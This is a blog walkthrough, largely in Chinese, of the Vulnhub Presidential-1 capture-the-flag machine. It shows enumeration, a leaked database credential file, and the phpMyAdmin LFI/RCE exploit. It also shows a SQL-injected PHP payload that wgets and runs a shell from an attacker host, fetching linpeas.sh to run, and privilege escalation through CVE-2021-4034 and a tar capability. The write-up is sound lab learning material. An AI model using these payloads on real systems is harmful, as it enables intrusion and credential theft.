Vulnhub Presidential-1 Walkthrough


Vulnhub Presidential-1 Walkthrough

靶机介绍

The Presidential Elections within the USA are just around the corner (November 2020). One of the political parties is concerned that the other political party is going to perform electoral fraud by hacking into the registration system, and falsifying the votes.

The state of Ontario has therefore asked you (an independent penetration tester) to test the security of their server in order to alleviate any electoral fraud concerns. Your goal is to see if you can gain root access to the server – the state is still developing their registration website but has asked you to test their server security before the website and registration system are launched.

This CTF was created and has been tested with VirtualBox. It should also be compatible with VMWare and is DHCP enabled.

Rating: Medium/Hard - Enumeration is your friend

>

美国总统选举即将到来(2020 年 11 月)。一个政党担心另一个政党将通过侵入登记系统和伪造选票来进行选举舞弊。

因此,安大略省要求您(一名独立的渗透测试人员)测试其服务器的安全性,以缓解任何选举舞弊问题。您的目标是查看您是否可以获得对服务器的 root 访问权限——该州仍在开发他们的注册网站,但已要求您在网站和注册系统启动之前测试他们的服务器安全性。

此 CTF 已创建并已使用 VirtualBox 进行了测试。它还应该与 VMWare 兼容并启用 DHCP。

Rating: Medium/Hard - Enumeration is your friend

从上面的介绍中可以看出来,这个靶机的难度还是可以的,还是有一定水平的,难度等级被评定为了 Medium/Hard。废话不多说,直接开始干。

信息收集

对一个信息收集来说,最先开始的那么一定是获取目标主机的 IP 地址了。其次再是其他的诸如:端口,服务等。

ip地址

因为这个靶机是和我的工具机是在一个局域网中的,所以直接使用工具一个扫描很快就可以找到目标的地址。

端口及服务信息

80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.5.38)
| http-methods: 
|   Supported Methods: POST OPTIONS GET HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-title: Ontario Election Services » Vote Now!
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.5.38
2082/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 06:40:f4:e5:8c:ad:1a:e6:86:de:a5:75:d0:a2:ac:80 (RSA)
|   256 e9:e6:3a:83:8e:94:f2:98:dd:3e:70:fb:b9:a3:e3:99 (ECDSA)
|_  256 66:a8:a1:9f:db:d5:ec:4c:0a:9c:4d:53:15:6c:43:6c (ED25519)

从扫描到的信息中可以看出,这个目标靶机是开放了两个端口,一个是常见的 80 ,还有一个是修改过的 ssh2082,说到这里忍不住尝试了一下,可以看出,这个 opessh 的版本是 7.4 ,这个是存在用户名枚举漏洞的,所以忍不住去尝试了一下,但是可惜,结果可能是做了防护,导致没什么有用的信息。

HTTP 枚举

既然是开放着 80 端口,那么就直接去访问一下,查看是否有什么有价值的信息可以被利用。在最上方的联系方式一栏发现有一个 votenow.local 是比较可疑的,按照经验来说,这个地方大概率是要修改 hosts 文件的,一般来说 .local 都是要改一下的。(不是绝对的)

同时在 footer 位置也发现这个网站的模板是 BootstrapMade,尝试使用 searchsploit 搜索也没有发现漏洞,同时在源代码中也未发现任何的提示信息,真是一个令人悲伤的消息,那只能就进行没有办法的办法。

扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,php.bak,sh,conf -u http://10.0.0.41

获得数据库的账号密码

我们可以从上面的扫描结果中看到,有一个 config.php/config.php.bak 是比较可疑的,所以我就直接查看了一下他的内容,config.php 是空的。

┌──(root㉿localhost)-[~]
└─# curl http://10.0.0.41/config.php.bak
<?php

$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";

?>

这个地方是一个值得思考一下的地方,既然能够找到数据库的账号和密码,先假定是正确的,那么一定是有一个登陆界面的,那么在哪里呢?根据其他的信息我没有办法猜测和推断出登陆的界面在哪里,所以有理由合理的怀疑他的登陆界面是有个子域名的东西。顺便在这里说一嘴,有好多的靶机都是将数据库的用户名和密码作为 ssh 登陆的密码的,所以尝试了一下,很显然这个并不是这样的。

修改 hosts 文件后爆破子域名

首先就是要对系统的 hosts 文件进行修改,将 votenow.local 添加到 /etc/hosts 文件中。

echo "10.0.0.41 votenow.local" >> /etc/hosts

下面是对子域名进行爆破,并且去掉无效的显示结果。

gobuster vhost -u votenow.local -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt | grep 'Status: 200' 

好,把这个也加入 hosts 文件中。

echo "10.0.0.41 datasafe.votenow.local" >> /etc/hosts

数据库操作

对上面的扫描的结果发现了一个看起来像是和数据有关的链接,所以现在尝试访问一下它。

搜索漏洞

像是 phpmyadmin 这种用的这么广泛的程序,大抵上是存在漏洞,直接去搜一下。得到了如下图所示的结果,经过实际测试 44928 是很方便利用的,但是在利用之前先看一下当前数据库用户可以看到什么数据。

可以看出当前用户的权限还是比较的高的,起码是能够看到管理员的密码,不过这个是一个密文的形式,需要使用工具进行解密或者爆破一下才能知道最终的结果,我选择使用最原始的方法==爆破==。但是耗费的时间比较的长,需要耐心的等待,密码大概在 rockyou.txt 的五万行左右的位置。

┌──(root㉿localhost)-[~]
└─# cat rockyou.txt | grep -n Stella
50023:Stella

利用漏洞

本来我还是很开心的,毕竟是爆破出来 admin 的密码,花了那么多时间,但是==他竟然登不上!!!==。我直接裂开了。算了还是直接利用漏洞吧,这是一个 LFI&RCE 漏洞。利用的方案如下。

  1. Run SQL Query : select ‘<?php phpinfo();exit;?>’
  2. Include the session file :http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_9taah5tthdv9pte3uekhi751a20vo3mo

反弹shell

既然是这样的话,可以执行了 phpinfo() ,那么是不是可能利用 php 执行系统命令进行反弹 shell。重复上面的操作,只不过是换一下查询的命令罢了。

SELECT "<?php system('wget http://10.0.0.5/1.php;php ./1.php');exit;?>" 

提权

cd /tmp && wget http://10.0.0.5/linpeas.sh && sh linpeas.sh

CVE-2021-4034

这个漏洞其实是比较容易发现的,毕竟是脚本一扫描就出来了,所以尝试利用一下。

另一种方式

虽然上面说了在数据库中爆破出来的那个 admin 用户登录不上,但是我真的是裂了,竟然在这里出现了,而且我竟然也忘了 ssh 的登陆(虽然它直接登陆是登陆不上的,但是为我自己的思路鼻塞感到羞愧),自罚三杯。这里直接使用 su 切换到用户。

这里的 utilise new commands 我猜测可能是和之前 root 给其他用户设置 suid 一样也是那种类似管理员给某个命令权限来执行一些东西,所以这里使用一个命令 getcap 来看一下哪些命令能够利用。

这里是带着 ep 的,按照网上的说法。

We list the available capabilities, we see that we have “+EP” to the tarS binary. This binary allows us to compress any file on the system without being root. Therefore, once we have it compressed, we will only have to decompress it to be able to read the content of the file.

所以直接使用这个命令对 root/.ssh/id_rsa 文件压缩一下,压缩到当前目录,查看是够 root 能够利用秘钥登陆。

最后使用 ssh2johnjohn 解密(没有密码),然后更改权限 600 进行登录。


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录